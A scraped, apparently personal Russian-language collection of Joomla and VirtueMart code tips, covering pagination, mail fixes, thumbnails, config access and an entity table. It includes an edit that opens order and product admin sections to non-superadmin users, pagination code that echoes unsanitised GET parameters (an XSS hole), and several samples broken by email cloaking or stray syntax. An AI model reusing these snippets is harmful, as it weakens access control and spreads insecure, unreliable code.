var Qtt = parseInt(quantity.val());
if (!isNaN(Qtt)) {
quantity.val(Qtt + Ste);
Virtuemart.setproducttype(cart,virtuemart_product_id);
}
});
minus.unbind( "click" );
minus.click(function() {
var Qtt = parseInt(quantity.val());
if (!isNaN(Qtt) && Qtt>Ste) {
quantity.val(Qtt - Ste);
} else quantity.val(Ste);
Virtuemart.setproducttype(cart,virtuemart_product_id);
});
select.change(function() {
Virtuemart.setproducttype(cart,virtuemart_product_id);
});
radio.change(function() {
Virtuemart.setproducttype(cart,virtuemart_product_id);
});
quantity.keyup(function() {
Virtuemart.setproducttype(cart,virtuemart_product_id);
});
});

plugins\system\onepage_generic\cart\tmpl\default_left.php

<input name="quantityv" type="hidden" value="<?php echo $step ?>" />
<?php
$init = 1;
if(isset($viewData['init'])){$init = $viewData['init'];}
if(!empty($prow->min_order_level) and $init<$prow->min_order_level){$init = $prow->min_order_level;}
$step=1;
if (!empty($prow->step_order_level)){$step=$prow->step_order_level;if(empty($prow->min_order_level) and !isset($viewData['init'])){$init = $step;}}
$maxOrder= '';
if (!empty($prow->max_order_level)){$maxOrder = ' max="'.$prow->max_order_level.'" ';}
?>
<input type="text" data-step="<?php echo $step?>" data-init="<?php echo $init; ?>" <?php echo $maxOrder?> title="<?php echo JText::_('COM_VIRTUEMART_CART_UPDATE') ?>" class="quantity-input js-recalculate opg-form-small opg-text-center" onblur="check_<?php echo $pkey; ?>(this);" size="2" maxlength="4" value="<?php echo $prow->quantity ?>" id='quantity_<?php echo $cartitemid; ?>' name="quantityval[<?php echo $pkey; ?>]" style="color:inherit !important;"/>

Joomla 3 - первоначальная настройка и важные моменты

В ходе работы с данной CMS были выработаны несколько основных подходов:

1.Отключайте tooltips, если в них нет явной необходимости.

Это связано с тем, что часто возникает ошибка выполнения jQuery запроса, который пытается обратиться к функции tooltips, но она еще не успела загрузиться, в итоге перестают работать все пользовательские функции реализованные на JQuery.

Решение в данной статье.

 

2.Блокируйте или удаляйте стандартные контакты (Компоненты -> Контакты) если в них нет необходимости, но если вы ими пользуетесь, то ставьте captcha.

Данным функционалом могут воспользоваться злоумышлиники и рассылать спам через ваш сайт, для этого достаточно выполнить http запрос к вашему сайту и опубликованному контакту, данный запрос требует указать сущесвующий ID контакта /index.php?option=com_contact&view=contact&id=1 

 

3.Не публикуйте почтовый адрес в открытом виде, потому что злоумышлинники включат его в спам рассылки.

Методы защиты почты указаны в этой статье 

 

4.Все формы обратной связи должны с соглашением на обработку персональных данных.

Подробнее в этой статье.

 

5.Если скачали модуль/плагин/компонент с пиратского сайта, обязательно проверьте код на наличие троянских вставок.

Подробнее в этой статье.

VM3 права для редактирования заказа не администратору сайта

В компоненте VirtueMart 3 реализован собственный класс для построения административного меню,который игнорирует(переписывает) стандарные права Joomla.

Если вы хотите дать права на редактирование заказов менеджеру, то этот менеджер должен быть с правами супер администратора, иначе у него просто не будет доступен нужный пункт меню.

Права на области VM (модули) задаются в таблице #__virtuemart_modules, варианты none,admin,storeadmin,shopper,demo

На дальше этот параметр в стандартной версии VM3 не распространяется, скорее всего нужно устанавливать дополнительный плагин или компонент, это можно обойти и открыть меню всем, у кого есть доступ в админ панель.

Для это редактируем файл:

administrator/components/com_virtuemart/helpers/adminui.php

В строку 256 добавить кусок с нужным разделом || $link ['view']=='orders':

|| $target || $link ['view']=='about' || $link ['view']=='virtuemart' || $link ['view']=='orders' ) {

Если нужно открыть заказы - || $link ['view']=='orders'
Нужно открыть товары || $link ['view']=='product'

Другие варианты:

  • category
  • custom
  • inventory
  • calc
  • ratings
  • report
  • user
  • shoppergroup
  • coupon
  • manufacturer
  • manufacturercategories
  • user
  • media
  • shipmentmethod
  • paymentmethod
  • config
  • userfields
  • orderstatus
  • currency
  • country
  • updatesmigration
  • virtuemart
  • log

K2 - живой поиск, добавить изображение к названию

Необходимо открыть файл

Добавить текст:

defined('_JEXEC') or die;
if(!defined('DS')) define('DS', DIRECTORY_SEPARATOR);
if(count($this->items)): ?>
<ul class="liveSearchResults">
<?php foreach($this->items as $item){
if (file_exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$item->id).'_S.jpg'))
$img='<img src="'.JURI::root(true).'/media/k2/items/cache/'.md5("Image".$item->id).'_S.jpg" class="liveimg"/>';
else $img='';
?>
<li><a href="/<?php echo $item->link; ?>" ><?php echo $img.$item->title; ?></a></li>
<?php }; ?>
</ul>
<?php endif; ?>

JoomShopping - изменить цену доставки при определенной сумме чека

Нужно открыть файл:

/zaxaroub.bget.ru/public_html/components/com_jshopping/controllers/checkout.php

Нас интересует функция step4save(), после строки $shipping_method_price = $checkout->getActiveShippingMethodPrice(); добавить

$payment_data_id = $cart->getPaymentId();
if ( $sh_pr_method_id == 1 ) {if ( $cart->price_product > 1000 ){$cart->setShippingPrice(0);}}

*где $sh_pr_method_id можно взять из настройки доставки administrator/index.php?option=com_jshopping&controller=shippings

Коды безопасных символов

Символ Описание символа Именной код Цифровой код
Euro Symbol &euro; &#8364;
© Copyright &copy; &#169;
® Registered Trademark &reg; &#174;
Trademark Sign (TM) &trade; -
@ At Symbol - &#64;
& Ampersand &amp; &#38;
Paragraph &para; &#182;
- Hyphen - &#45;
En Dash &ndash; &#150
Em Dash &mdash; &#151;
¬ Not Sign &not; &#172;
Single Left Pointing Angle &lsaquo; -
Single Right Pointing Angle &rsaquo; -
« Double Left Pointing Angle &laquo; &#171;
» Double Right Pointing Angle &raquo; &#187;
Left Arrow &larr; -
Upward Arrow &uarr; -
Right Arrow &rarr; -
Downward Arrow &darr; -
Black Spade Suit (Not available in Firefox) &spades; -
Black Clubs Suit (Not available in Firefox) &clubs; -
Black Hearts Suit (Not available in Firefox) &hearts; -
Black Diamond Suit (Not available in Firefox) &diams; -
` Grave Accent - &#96;
´ Acute Accent &acute; &#180;
¯ Macron Accent &macr; &#175;
¨ Umlaut &uml; &#168;
¸ Cedilla &cedil; &#184;
· Middle Dot &middot; &#183;
º Masculine Ordinal &ordm; &#186;
ª Feminine Ordinal &ordf; &#170;
! Exclamation Mark - &#33;
¡ Inverted Exclamation &iexcl; &#161;
? Question Mark - &#63;
¿ Inverted Question Mark &iquest; &#191;
: Colon - &#58;
; Semicolon - &#59;
, Comma - &#44;
. Period - &#46;
Horizontal Ellipsis &hellip; &#8230;
' Apostrophe - &#39;
* Asterisk - &#42;
Dagger &dagger; -
Double Dagger &Dagger;  
Per Mill Sign &permil; -
¹ Superscript 1 &sup1; &#185;
² Superscript 3 &sup2; &#178;
³ Superscript 3 &sup3; &#179;
¼ One-Fourth Fraction &frac14; &#188;
½ One-Half Fraction &frac12; &#189;
¾ Three-Fourths Fraction &frac34; &#190;
^ Caret - &#94;
~ Tilde - &#126;
Overline (Overscore) &oline; -
_ Horizontal Bar (Underscore) - &#95;
Left Single Quote &lsquo; -
Right Single Quote &rsquo; -
Left Double Quote; &ldquo; -
Right Double Quote &rdquo; -
Single Low-9 Quote &sbquo; -
Double Low-9 Quote &bdquo; -
" Double Quotation Mark &quot; &#34;
/ Slash &frasl; &#47;
\ Backslash - &#92;
( Left Parenthesis - &#40;
) Right Parenthesis - &#41;
[ Left Square Bracket - &#91;
] Right Square Bracket - &#93;
{ Left Curly Brace - &#123;
} Right Curly Brace - &#125;
| Vertical Bar - &#124;
¦ Broken Vertical Bar &brvbar; &#166;
% Percent Sign - &#37;
# Number Sign - &#35;
Euro Sign &euro; &#8364;
$ Dollar Sign - &#36;
¢ Cent Sign &cent; &#162;
¥ Yen Sig &yen; &#165;
£ Pound Sterling &pound; &#163;
¤ General Currency Sign &curren; &#164;
+ Plus Sign - &#43;
× Multiplication Sign &times; &#215;
÷ Division Sign &divide; &#247;
= Equals Sign - &#61;
± Plus or Minus &plusmn; &#177;
< Less Than Sign &lt; &#60;
> Greater Than Sign &gt; &#62;
µ Micro Sign &micro; &#181;
° Degree Sign &deg; &#176;
§ Section Sign &sect; &#167;
Ø Uppercase O - Slash &Oslash; &#216;
ø Lowercase O - Slash &oslash; &#248;
0 Zero - &#48;
1 Number 1 - &#49;
2 Number 2 - &#50;
3 Number 3 - &#51;
4 Number 4 - &#52;
5 Number 5 - &#53;
6 Number 6 - &#54;
7 Number 7 - &#55;
8 Number 8 - &#56;
9 Number 9 - &#57;

Создание миниатюр

Данная функция позволит создать миниатюра, удобно для представления в администивной части и галереи пользователя, нужно указать путь до оригинала и путь до будующей миниатюры и ее размер(можно ограничиться только один показателем высотой или шириной), картинка будет уменьшина пропорционально:

function create_thumb($image,$thumbimage,$h_o = false,$w_o = false) 
{
if (($w_o < 0) || ($h_o < 0)){return false;}
list($w_i, $h_i, $type) = getimagesize($image); // Получаем размеры и тип изображения (число)
$types = array("", "gif", "jpeg", "png"); // Массив с типами изображений
$ext = $types[$type]; // Зная "числовой" тип изображения, узнаём название типа
if ($ext)
{
$func = 'imagecreatefrom'.$ext; // Получаем название функции, соответствующую типу, для создания изображения
$img_i = $func($image); // Создаём дескриптор для работы с исходным изображением
} else {return false;}
/* Если указать только 1 параметр, то второй подстроится пропорционально */
if (!$h_o) $h_o = $w_o / ($w_i / $h_i);
if (!$w_o) $w_o = $h_o / ($h_i / $w_i);
$img_o = imagecreatetruecolor($w_o, $h_o); // Создаём дескриптор для выходного изображения
imagecopyresampled($img_o, $img_i, 0, 0, 0, 0, $w_o, $h_o, $w_i, $h_i); // Переносим изображение из исходного в выходное, масштабируя его
$func = 'image'.$ext; // Получаем функция для сохранения результата
return $func($img_o, $thumbimage); // Сохраняем изображение в тот же файл, что и исходное, возвращая результат этой операции
}

 

Текст не защищенный авторским правом

Потому что был написан до изобретения авторского права:

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

Получить данные из файла конфигурации configuration.php

Данные можно получить запросив доступ к данным страницы

$config = JFactory::getApplication(); 

Далее запросить переменную по имени :

$sitename = $config->get('sitename');

Важные переменные:

  • offline - статус сайта, выключен или нет
  • offline_message - сообщение при выключенном сайте
  • display_offline_message - показывать ли сообщение о выключении сайта
  • sitename - имя сайта
  • host - хост БД
  • user -пользователь ДБ
  • password - пароль ДБ
  • db - база данных
  • dbprefix - префикс таблиц
  • mailfrom - почта администратора
  • fromname - подпись для почты администратора
  • MetaDesc - метаописания (используются когда не указаны в меню или странице)
  • MetaKeys - метаключи (используются когда не указаны в меню или странице)

VirtueMart 3 - не отправляется почта

Решение этой проблемы состоит в нескольких вариантах:

1.Статусы

Необходимо корректно настроить статусы, при которых будет отправляться письмо

Вкладка "Настройки" - "Электронная почта"

  • Статус заказа по умолчанию для создания выписанного счета - указать статус для нового заказа, должен быть "Pennding"
  • Статус заказа по умолчанию для отправки эл.письма покупателю - также указать "Pennding" + добавить другие интересующие статусы
  • Статус заказа по умолчанию для отправки эл.письма продавцу - также указать "Pennding" + добавить другие интересующие статусы

 email settings2

 Можно также указать принудительно статусы, которые будут формировать письмо. Необходимо отредактировать файл administrator/components/com_virtuemart/models/orders.php

 // Send the email
                //$res = shopFunctionsF::renderMail('invoice', $order['details']['BT']->email, $vars, null,$vars['doVendor'],$this->useDefaultEmailOrderStatus);
                $sendMail = false;
                if(!$this->useDefaultEmailOrderStatus and isset($vars['newOrderData']['customer_notified']) and $vars['newOrderData']['customer_notified']==1){
                        $sendMail = true;
                } else {
                        $orderstatusForShopperEmail = VmConfig::get('email_os_s',array('U','C','S','R','X'));
                        if(!is_array($orderstatusForShopperEmail)) $orderstatusForShopperEmail = array($orderstatusForShopperEmail);
                        
                        $orderstatusForShopperEmail[] = 'P';//TODO: Фикс для того чтобы письма отправлялись покупателю сразу после заказа
                        if ( in_array((string) $vars['orderDetails']['details']['BT']->order_status,$orderstatusForShopperEmail) ){
                                $sendMail = true;
                                vmdebug('renderMail by default orderstati');
                        }
                }

2.Проблемы с доставщиком почты

Рекомендуется в настройках указать отправку через smtp

Если же вы используете phpmailer, необходимо в файле libraries/vendor/phpmailer/phpmailer/class.phpmailer.php исправить код:

private function mailPassthru($to, $subject, $body, $header='', $params='')
{
//Check overloading of mail function to avoid double-encoding
if (ini_get('mbstring.func_overload') & 1) {
$subject = $this->secureHeader($subject);
} else {
$subject = $this->encodeHeader($this->secureHeader($subject));
}
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions) {
$result = @mail($to, $subject, $body, $header);
} else

{
//$result = @mail($to, $subject, $body, $header, $params);
$result = @mail($to, $subject, $body, $header);
}
return $result;
}

3.Исправление функции отправки

Если первые два способа не помогли, то остается еще один - изменить саму функцию отправки письма.

Редактируем файл /components/com_virtuemart/helpers/shopfunctionsf.php необходимо функцию sendVmMail заменить на этот код:

public static function sendVmMail (&$view, $recipient, $noVendorMail = FALSE) 
{
ob_start();
$view->renderMailLayout( $noVendorMail, $recipient );
$body = ob_get_contents();
ob_end_clean();
$app = JFactory::getApplication();
$subject = (isset($view->subject)) ? $view->subject : vmText::_( 'COM_VIRTUEMART_DEFAULT_MESSAGE_SUBJECT' );
$email = new PHPMailer();
if(isset($view->mediaToSend)) { foreach( (array)$view->mediaToSend as $media ) {$email->AddAttachment($media);}}
$email->From='почта магазина';;
$email->FromName = $view->vendor->vendor_name;
$email->Subject = html_entity_decode( $subject , ENT_QUOTES, 'UTF-8');
$email->IsHTML(true);
$email->Body= $body;
$email->AddAddress($recipient);
$email->AddAddress('ваша почта';);
$return=$email->Send();
return $return;
}

 

Собственная навигация (Pagenition)

Вариант №1 - использование сессии пользователя и вывод страниц из массива, переключение страниц через Ajax запрос

Переменные:

$usermass  //Массив строк(пользователей) для навигации 

$pagecount //кол-во страниц

$tabnav  //выбранная страница, данные переданы через сессию

$sred //средняя страница в массиве

$userlistcount //сколько элементов будет на странице


function get_pagenition($usermass,$userlistcount,$tabnav,$showstrcount,$title='')
{
$pagecount=(int)(count($usermass)/$userlistcount);
$sred=(int)($pagecount/2);$ret='';
if ((count($usermass)-$pagecount*$userlistcount)>0) $pagecount++;
//кол-во материалов до 5 страниц
if ($pagecount<5) {for( $i=1 ; $i <= $pagecount ; $i++ ) {$ret.='<a class="btn pagenavtab '.(($tabnav==$i)?' activetabnav':'').'" id="'.$i.'">'.($i).'</a>';}}
else
{
//первые 2 страницы
if ($tabnav>1) $ret.='<a class="btn pagenavtab" id="'.($tabnav-1).'" style="margin-right: 10px;"><<</a>';
$ret.='<a class="btn pagenavtab '.(($tabnav==1)?' activetabnav':'').'" id="1">1</a>';
$ret.='<a class="btn pagenavtab '.(($tabnav==2)?' activetabnav':'').'" id="2">2</a>';
if ($tabnav!=3) $ret.='<a class="btn" disabled="disabled" style="margin-right: 10px;">...</a>';
//выбранный промежуток
if ($tabnav>2 and $tabnav<$pagecount-1)//выбраны страницы за рамками первых и последних 2х
{
if ($tabnav>3) $ret.='<a class="btn pagenavtab " id="'.($tabnav-1).'">'.($tabnav-1).'</a>';
$ret.='<a class="btn pagenavtab activetabnav" id="'.($tabnav).'">'.($tabnav).'</a>';
$ret.='<a class="btn pagenavtab " id="'.($tabnav+1).'">'.($tabnav+1).'</a>';
}
else//страница выбрано в пределах 2х первых и 2х последних
{
$ret.='<a class="btn pagenavtab '.(($tabnav==($sred-1))?' activetabnav':'').'" id="'.($sred-1).'">'.($sred-1).'</a>';
$ret.='<a class="btn pagenavtab '.(($tabnav==($sred))?' activetabnav':'').'" id="'.($sred).'">'.($sred).'</a>';
$ret.='<a class="btn pagenavtab '.(($tabnav==($sred+1))?' activetabnav':'').'" id="'.($sred+1).'">'.($sred+1).'</a>';
}
//последние 2 страницы
if ($tabnav!=$pagecount-2) $ret.='<a class="btn" disabled="disabled" style="margin-right: 10px;">...</a>';
if ($tabnav!=$pagecount-2)$ret.='<a class="btn pagenavtab '.(($tabnav==($pagecount-1))?' activetabnav':'').'" id="'.($pagecount-1).'">'.($pagecount-1).'</a>';
$ret.='<a class="btn pagenavtab '.(($tabnav==($pagecount))?' activetabnav':'').'" id="'.($pagecount).'">'.($pagecount).'</a>';
if ($tabnav<$pagecount) $ret.='<a class="btn pagenavtab" id="'.($tabnav+1).'" style="margin-right: 10px;">>></a>';
}
if ($showstrcount==1) $ret.='<span>&nbsp;&nbsp; Всего страниц '.$pagecount.' , из '.count($usermass).'</span>';
return $title.$ret;
}

Алгоритм:

1.Если страниц меньше 6, то выводится просто кнопки, без дробления

2.При кол-ве страниц больше 6, выводятся первые и последние 2 страницы, а также:

2.1. Если номер выбранной страницы больше 1 то добавляем кнопку "Назад" и "вперед"

2.2. Если выбранная страница на границе +2 страниц от начала и конца, то в середине выводим среднее значение кол-ва страниц

2.3.Если выбранная страница вне границ +2 от начала и конца, то выводится номер выбранной страницы и +1 и -1 от этого значения

Также нужно подключить скрипт, который бы обновил страницы и передал номер с кнопки в сессию

Скрипт обработки нажатия кнопки

<script> 
jQuery(document).ready(function() {
//передаем номер страницы
jQuery("body").on("click", ".pagenavtab", function(e) {
e.preventDefault();
var myData = 'pagenavtab='+this.id;
jQuery.ajax({
type: "POST",
url: "index.php?option=com_rad_monitor&view=monitordatas",
dataType:"text",
data:myData,
success:function(response){
location.reload();},
error:function (xhr, ajaxOptions, thrownError){document.getElementById('sendtestsms_txt').innerHTML = thrownError;}
});
});
</script>

Скрипт, который внесет в сессию номер страницы - должен перехватить POST запрос

if(isset($_POST["pagenavtab"]) && strlen($_POST["pagenavtab"])>0)
{
$_SESSION['radmontabnav']= $_POST["pagenavtab"];
exit();
}

Вывод значений с учетом номера страницы

$datawhow=1;//счетчик элементов
foreach (база элементов)
{
....
if ($datashow<=($tabnav*$userlistcount) and $datashow>(($tabnav-1)*$userlistcount))
{
....
//вывод элементов
....
}
$datashow++;
}

Вариант №2 - использование $_GET и построение двойным списком

Переменные:

$posts_count = count($res->posts);//итого кол-во материалов

$posts_per_page = 6;//материалов на странице по умолчанию

if($_GET['per_page']){$posts_per_page = $_GET['per_page'];}//материалов на странице получаем из ссылки

$count_pages = round($posts_count / $posts_per_page);//кол-во страниц, округляем до целого

if (($count_pages*$posts_per_page)<$posts_count) $count_pages++;//ситуация: кол-во материалов не равно бьется с $posts_per_page

$perm_link = ...;//ссылка на страницу JURI::

$orderby = 'DESC';

if($_GET['orderby'] && $_GET['orderby'] == 2){$orderby = 'ASC';}

Алгоритм:

//Ситуация 1: страница всего одна, кнопок не требуется
if($count_pages ==1)
{
echo '<div class="pagination-wrap sit1"></div>';
}
//Ситуация 2: страниц до 6 включительно - отрисовываем 6 кнопок, если позволяет массив страниц
//кнопка назад - не требуется
if($count_pages > 1 and $count_pages <=6)
{
echo '<div class="pagination-wrap sit2">';
echo '<ul class="pagination">';
//выбрана не первая страница , показываем кнопку назад
if($paged>1)
{
echo '<li class="pagination-controls back-control fll">';
echo '<a href="'.$perm_link.'/page/'.($paged-1).'/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">Назад</a>';
echo '</li>';
} else
{
echo '<li class="pagination-controls back-control fll"></li>';
}
echo '<li class="align-center">';
echo '<ul class="page-nums">';
for ($ii = 1; $ii <= $count_pages; $ii++)
{
echo '<li '.(($paged==$ii)?'class="activepage"':'').'><a href="'.$perm_link.'/page/'.$ii.'/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">'.$ii.'</a></li>';
}
echo '</ul>';
echo '</li>';
//выбрана не последняя страница, показываем кнопку вперед
if($paged<$count_pages)
{
echo '<li class="pagination-controls next-control flr">';
echo '<a href="'.$perm_link.'/page/'.($paged + 1).'/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">Вперед</a>';
echo '</li>';
} else
{
echo '<li class="pagination-controls next-control flr"></li>';
}
echo '</ul>';
echo '</div> ';
}
//ситуация 3: страниц больше 6, требуется кнопка разделитель и поделить страницы 3 вначале - разделитель - 3 в конце
else
if($count_pages>6)
{
echo '<div class="pagination-wrap">';
echo '<ul class="pagination">';
//выбрана не первая страница , показываем кнопку назад
if($paged>1)
{
echo '<li class="pagination-controls back-control fll">';
echo '<a href="'.$perm_link.'/page/'.($paged-1).'/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">Назад</a>';
echo '</li>';
} else
{
echo '<li class="pagination-controls back-control fll"></li>';
}
echo '<li class="align-center">';
echo '<ul class="page-nums">';
//смотрим на какой мы позиции
//выбраны страницы до первых или последних 3х - показываем последовательность 1,2,3...n-2,n-1,n
if ($paged<3 or $paged>($count_pages-2))
{
echo '<li '.(($paged==1)?'class="activepage"':'').'><a href="'.$perm_link.'/page/1/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">1</a></li>';
echo '<li '.(($paged==2)?'class="activepage"':'').'><a href="'.$perm_link.'/page/2/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">2</a></li>';
echo '<li '.(($paged==3)?'class="activepage"':'').'><a href="'.$perm_link.'/page/3/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">3</a></li>';
echo '<li><span>...</span></li>';
echo '<li '.(($paged==($count_pages-2))?'class="activepage"':'').'><a href="'.$perm_link.'/page/'.($count_pages-2).'/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">'.($count_pages-2).'</a></li>';
echo '<li '.(($paged==($count_pages-1))?'class="activepage"':'').'><a href="'.$perm_link.'/page/'.($count_pages-1).'/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">'.($count_pages-1).'</a></li>';
echo '<li '.(($paged==$count_pages)?'class="activepage"':'').'><a href="'.$perm_link.'/page/'.($count_pages).'/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">'.($count_pages).'</a></li>';
}
//мы в центре массива страниц последовательность 1...v-1,v,v+1...n
else
{
echo '<li><a href="'.$perm_link.'/page/1/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">1</a></li>';
if ($paged-2>=2)echo '<li><span>...</span></li>';
if ($paged-2>2) echo '<li><a href="'.$perm_link.'/page/'.($paged-2).'/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">'.($paged-2).'</a></li>';
echo '<li><a href="'.$perm_link.'/page/'.($paged-1).'/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">'.($paged-1).'</a></li>';
echo '<li class="activepage" ><a href="'.$perm_link.'/page/'.($paged).'/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">'.($paged).'</a></li>';
echo '<li><a href="'.$perm_link.'/page/'.($paged+1).'/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">'.($paged+1).'</a></li>';
if ($paged-2<$count_pages-2) echo '<li><a href="'.$perm_link.'/page/'.($paged+2).'/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">'.($paged+2).'</a></li>';
if ($paged-2<=$count_pages-2)echo '<li><span>...</span></li>';
echo '<li><a href="'.$perm_link.'/page/'.($count_pages).'/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">'.($count_pages).'</a></li>';
}
echo '</ul>';
echo '</li>';
//выбрана не последняя страница, показываем кнопку вперед
if($paged<$count_pages)
{
echo '<li class="pagination-controls next-control flr">';
echo '<a href="'.$perm_link.'/page/'.($paged + 1).'/?per_page='.$posts_per_page.'&orderby='.$orderby.'&type='.$type.'">Вперед</a>';
echo '</li>';
} else
{
echo '<li class="pagination-controls next-control flr"></li>';
}
echo '</ul>';
echo '</div> ';
}
?>
<style>.activepage{background: bisque;}.next-control{width: auto!important;}.back-control{width: auto!important;}.flr{float:right;}.fll{float:left;}.pagination{text-align:center;}</style>





				

Вывод модуля

$document = JFactory::getDocument();
$renderer = $document->loadRenderer('module');
$options = array('style' => 'raw');
$module = JModuleHelper::getModule('mod_custom_banners');
$module->params = "heading=2\nlimit=10"; //как видим даже параметры задавать
echo $renderer->render($module, $options);
//или по позиции
$modules =JModuleHelper::getModules('position-0');
$attr = array('style' => 'xhtml');
foreach ($modules as $module){echo JModuleHelper::renderModule($module, $attr);}

Защита почты от спам ботов

Адрес со ссылкой

Код ниже выведет адрес электронной почты со ссылкой:

 

echo JHtmlEmail::cloak(Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.');

Или альтернативный вариант (в дальнейшем я буду использовать только JHtmlEmail):

 

echo JHtml::_('email.cloak', Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.');

На веб-сайте будет отображен адрес Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра. со ссылкой mailto.

Адрес без ссылки

Если вы хотите просто вывести замаскированный адрес электронной почты, то используйте следующий код:

 

echo JHtmlEmail::cloak(Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.', false);

На веб-сайте будет отображен адрес Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра. без ссылки mailto.

Адрес, отличный от адреса в ссылке

Если вы хотите вывести замаскированный адрес электронной почты, ссылка которого ведет на другой адрес, используйте следующий код:

 

echo JHtmlEmail::cloak(Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.', true, Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.');

На веб-сайте будет отображен адрес Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра., но ссылка mailto будет вести на адрес Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра..

Фраза, залинкованная на адрес

И наконец, вы можете вывести фразу, которая будет залинкована на адрес электронной почты:

 

echo JHtmlEmail::cloak(Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.', true, 'Свяжитесь с нами', false);

На веб-сайте будет отображена фраза Свяжитесь с нами, при этом ссылка mailto будет вести на адрес Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра..

Использовать скрипт

Необходимо будет разместить элемент с ID=emailtopstr, в который после отрисовки старницы будет добавлен адрес

<p>По всем вопросам : <span id="emailtopstr"></span></p>
<script language="JavaScript">
var login = 'admin';
var server = 'radgura.ru';
var email = login+'@'+server;
document.getElementById('emailtopstr').innerHTML=email;
</script>

Проблемы русских букв при работе скриптов

Добавить заголовок в фале php:

Header("Content-Type: text/html;charset=UTF-8");

 

Ответ на ajax запрос обернуть через функцию:

return iconv("windows-1251", "UTF-8", $ret);

Исправление ошибки Hastooltip

function onBeforeCompileHead() {
$document = JFactory::getDocument();
$document->_script = str_replace('jQuery(\'.hasTooltip\').tooltip({"html": true,"container": "body"});', '', $document->_script);
}

Или

JFactory::getDocument()->addScriptDeclaration('(function($){$.fn.tooltip=function(){}})(jQuery);');

Или


JHTML::_('bootstrap.tooltip');
$document = JFactory::getDocument();
$document->_script = str_replace("jQuery(document).ready(function(){\n\tjQuery('.hasTooltip').tooltip({\"html\": true,\"container\": \"body\"});\n});", '', $document->_script);

Преобразовать цифры в текст

function num2str($num) {
$nul='ноль';
$ten=array(
array('','один','два','три','четыре','пять','шесть','семь', 'восемь','девять'),
array('','одна','две','три','четыре','пять','шесть','семь', 'восемь','девять'),
);
$a20=array('десять','одиннадцать','двенадцать','тринадцать','четырнадцать' ,'пятнадцать','шестнадцать','семнадцать','восемнадцать','девятнадцать');
$tens=array(2=>'двадцать','тридцать','сорок','пятьдесят','шестьдесят','семьдесят' ,'восемьдесят','девяносто');
$hundred=array('','сто','двести','триста','четыреста','пятьсот','шестьсот', 'семьсот','восемьсот','девятьсот');
$unit=array( // Units
array('копейка' ,'копейки' ,'копеек', 1),
array('рубль' ,'рубля' ,'рублей' ,0),
array('тысяча' ,'тысячи' ,'тысяч' ,1),
array('миллион' ,'миллиона','миллионов' ,0),
array('миллиард','милиарда','миллиардов',0),
);
//
list($rub,$kop) = explode('.',sprintf("%015.2f", floatval($num)));
$out = array();
if (intval($rub)>0) {
foreach(str_split($rub,3) as $uk=>$v) { // by 3 symbols
if (!intval($v)) continue;
$uk = sizeof($unit)-$uk-1; // unit key
$gender = $unit[$uk][3];
list($i1,$i2,$i3) = array_map('intval',str_split($v,1));
// mega-logic
$out[] = $hundred[$i1]; # 1xx-9xx
if ($i2>1) $out[]= $tens[$i2].' '.$ten[$gender][$i3]; # 20-99
else $out[]= $i2>0 ? $a20[$i3] : $ten[$gender][$i3]; # 10-19 | 1-9
// units without rub & kop
if ($uk>1) $out[]= morph($v,$unit[$uk][0],$unit[$uk][1],$unit[$uk][2]);
} //foreach
}
else $out[] = $nul;
$out[] = morph(intval($rub), $unit[1][0],$unit[1][1],$unit[1][2]); // rub
$out[] = $kop.' '.morph($kop,$unit[0][0],$unit[0][1],$unit[0][2]); // kop
return trim(preg_replace('/ {2,}/', ' ', join(' ',$out)));
}

Javascript событие по нажатию на enter

jQuery("#searchtext").keyup(function(e) {var code = e.which; if(code==13) jQuery('.searchtov').click();});         

Чтение номера кнопки:

jQuery("#searsh").keydown(function (e) { 
if (e.keyCode == 13) set_search();
});

Параметры Joomla - компоненты, модули, плагины

Если мы делаем компонент, модуль или плагин на Joomla, то без получения параметров, думаю, не обойтись.

Параметры плагина

Получение параметров внутри плагина:

$param=$this->params->get('paramName','defaultValue');

получение параметров вне плагина:

$plugin=&JPluginHelper::getPlugin('exampleType','example');
$pluginParams=new JParameter($plugin->params);
$param=$pluginParams->get('paramName','defaultValue');

 

Параметры модуля

получение внутри модуля:

